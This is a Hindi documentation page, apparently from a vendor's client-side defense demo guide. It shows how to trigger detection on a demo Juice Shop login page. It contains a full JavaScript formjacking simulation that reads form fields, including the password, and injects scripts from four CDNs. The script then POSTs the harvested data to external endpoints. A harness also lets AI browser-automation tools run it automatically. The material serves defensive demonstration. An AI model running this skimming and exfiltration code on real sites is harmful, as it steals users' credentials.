- होम
- क्लाइंट-साइड डिफेंस
- ट्रिगर डिटेक्शन
ट्रिगर डिटेक्शन
ट्रिगर डिटेक्शन
Section titled “ट्रिगर डिटेक्शन”CSD ब्राउज़र के अंदर JavaScript व्यवहार की निगरानी करता है। वेब ऐप फ़ायरवॉल (WAF) या Bot मानक रक्षा के विपरीत, आप curl कमांड से CSD डिटेक्शन ट्रिगर नहीं कर सकते — इसके लिए वास्तविक ब्राउज़र-साइड स्क्रिप्ट गतिविधि आवश्यक है। निम्नलिखित संयुक्त स्क्रिप्ट एकल निष्पादन में सभी तीन CSD डिटेक्शन सिग्नल ट्रिगर करती है: फॉर्म फील्ड हार्वेस्टिंग, एकाधिक CDN डोमेन से थर्ड-पार्टी स्क्रिप्ट इंजेक्शन, और बाहरी एंडपॉइंट पर डेटा एक्सफिल्ट्रेशन।
संयुक्त सिमुलेशन स्क्रिप्ट चलाएँ
Section titled “संयुक्त सिमुलेशन स्क्रिप्ट चलाएँ”-
Juice Shop के लॉगिन पेज पर
https://botdemo.sales-demo.f5demos.com/#/loginपर जाएँ -
फॉर्म फील्ड में डमी क्रेडेंशियल दर्ज करें — Email फील्ड में
test@example.comऔर Password फील्ड मेंP@ssword123टाइप करें (फॉर्म सबमिट न करें) -
DevTools खोलें (F12 → Console टैब)


-
निम्नलिखित स्क्रिप्ट को कंसोल में पेस्ट करें और Enter दबाएँ — यह स्वचालित रूप से एक सेल्फ-एग्जीक्यूटिंग फ़ंक्शन के रूप में चलती है
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
प्रत्येक चरण की पुष्टि करने वाले चरणबद्ध
[CSD Demo]कंसोल आउटपुट को देखें: फील्ड हार्वेस्टिंग, 4 CDN डोमेन से स्क्रिप्ट इंजेक्शन, और डेटा एक्सफिल्ट्रेशन।esm.shES मॉड्यूल सिंटैक्स (export default …) प्रदान करता है — जब एक क्लासिक<script>टैग के रूप में लोड किया जाता है तो यहUncaught SyntaxError: Cannot use import statement outside a moduleका कारण बनता है। यह अपेक्षित है और CSD डिटेक्शन को प्रभावित नहीं करता (स्क्रिप्ट टैग अभी भी इंजेक्ट किया जाता है और नेटवर्क अनुरोध अभी भी किया जाता है)

AI-स्वचालित निष्पादन
Section titled “AI-स्वचालित निष्पादन”ब्राउज़र स्वचालन उपकरणों वाले AI असिस्टेंट (MCP Chrome DevTools, Playwright, Puppeteer) उपरोक्त मैनुअल चरणों का पालन करने की बजाय सिमुलेशन को प्रोग्रामेटिक रूप से निष्पादित करते हैं:
- initScript के साथ नेविगेट करें — पहले
about:blankपर नेविगेट करें ताकि एक साफ़ डॉक्यूमेंट कॉन्टेक्स्ट सुनिश्चित हो, फिर एकinitScriptके साथ लॉगिन पेज URL (जैसे,http://$F5XC_DOMAINNAME/#/login) परnavigate_pageकरें जो zone.js के पैच करने से पहले नेटिवsetInterval,clearInterval,fetch, औरconsole.logको सेव करता है, लॉगिन फॉर्म फील्ड के लिए पोल करता है, नेटिवHTMLInputElement.prototype.valueसेटर के माध्यम से क्रेडेंशियल भरता है, और तुरंत Combined Detection Script को इनलाइन निष्पादित करता है। नीचे दिए गए verbatim initScript का उपयोग करें। - वेलकम बैनर बंद करें — Welcome Banner बंद करने के लिए
Escapeके साथpress_keyकरें। बाद की विज़िट पर बैनर दिखाई नहीं दे सकता (कुकीज़ बनी रहती हैं) - पूर्णता की प्रतीक्षा करें — सभी CDN स्क्रिप्ट लोड/एरर कॉलबैक और fetch प्रॉमिस रिज़ॉल्यूशन पूर्ण होने के लिए 10 सेकंड प्रतीक्षा करें
- साक्ष्य कैप्चर करें —
[CSD Demo] Simulation completeकी जाँच के लिएlist_console_messages; HTTP स्टेटस कोड सत्यापित करने के लिएscriptऔरfetchप्रकारों में फ़िल्टर किए गएlist_network_requests
initScript हार्नेस (verbatim — स्वचालित निष्पादन के लिए Combined Detection Script को रैप करता है):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);नेटिव fetch पर नोट: यह हार्नेस zone.js एरर से बचने के लिए window.fetch.bind(window) को सेव करता है। यह सभी अटैक सिमुलेशन फेज़ के लिए सही व्यवहार है। CSD मिटिगेशन स्क्रिप्ट लोडिंग को ब्लॉक करता है (<script> टैग के src वैल्यू क्लियर करके), fetch() कॉल को नहीं, इसलिए नेटिव fetch रेफरेंस सेव करने से मिटिगेशन व्यवहार प्रभावित नहीं होता। Phase 2 और Phase 3 के लिए एक ही initScript उपयोग किया जाता है।
ब्राउज़र स्वचालन उपकरणों के बिना ऑपरेटर ऊपर दिए गए मैनुअल चरणों का उपयोग करते हैं।
स्क्रिप्ट क्या करती है
Section titled “स्क्रिप्ट क्या करती है”संयुक्त सिमुलेशन सभी तीन CSD डिटेक्शन सिग्नल ट्रिगर करती है:
| व्यवहार | स्क्रिप्ट क्या करती है | CSD क्या देखता है |
|---|---|---|
| फील्ड हार्वेस्टिंग | मौजूदा input एलिमेंट (email, password) से वैल्यू पढ़ता है | स्क्रिप्ट संवेदनशील फॉर्म फील्ड पढ़ रही हैं — High Risk के रूप में फ्लैग किया गया |
| स्क्रिप्ट इंजेक्शन | cdn.jsdelivr.net, esm.sh, unpkg.com, और ga.jspm.io से लोड करने वाले 4 <script> टैग जोड़ता है | पेज पर 4 नए थर्ड-पार्टी स्क्रिप्ट डोमेन |
| डेटा एक्सफिल्ट्रेशन | fetch के माध्यम से www.httpbin.org और jsonplaceholder.typicode.com पर हार्वेस्ट किया गया डेटा भेजता है | बाहरी डोमेन पर नेटवर्क कॉल (नोट: fetch गंतव्य स्क्रिप्ट नेटवर्क इंटरैक्शन के रूप में दिखाई देते हैं, Network डोमेन व्यू में नहीं) |
उन्नत सिमुलेशन
Section titled “उन्नत सिमुलेशन”उपरोक्त संयुक्त स्क्रिप्ट एक सरलीकृत 3-फेज़ वर्शन है (हार्वेस्ट, इंजेक्ट, एक्सफिल्ट्रेट) जो अधिकांश डेमो के लिए उपयुक्त है। अटैक स्क्रिप्ट लाइब्रेरी अटैक प्रकार के अनुसार व्यवस्थित 10 लक्षित स्क्रिप्ट प्रदान करती है, जिसमें एक Maximum Detection स्ट्रेस टेस्ट शामिल है जो संयुक्त स्क्रिप्ट की कवरेज के ऊपर DOM मैनिपुलेशन, कुकी एक्सफिल्ट्रेशन, और इमेज बीकन चैनल जोड़ता है। विशिष्ट अटैक श्रेणियों (formjacking, digital skimming, supply chain injection, data exfiltration, DOM manipulation) को अलग-अलग प्रदर्शित करने के लिए अलग-अलग स्क्रिप्ट का उपयोग करें।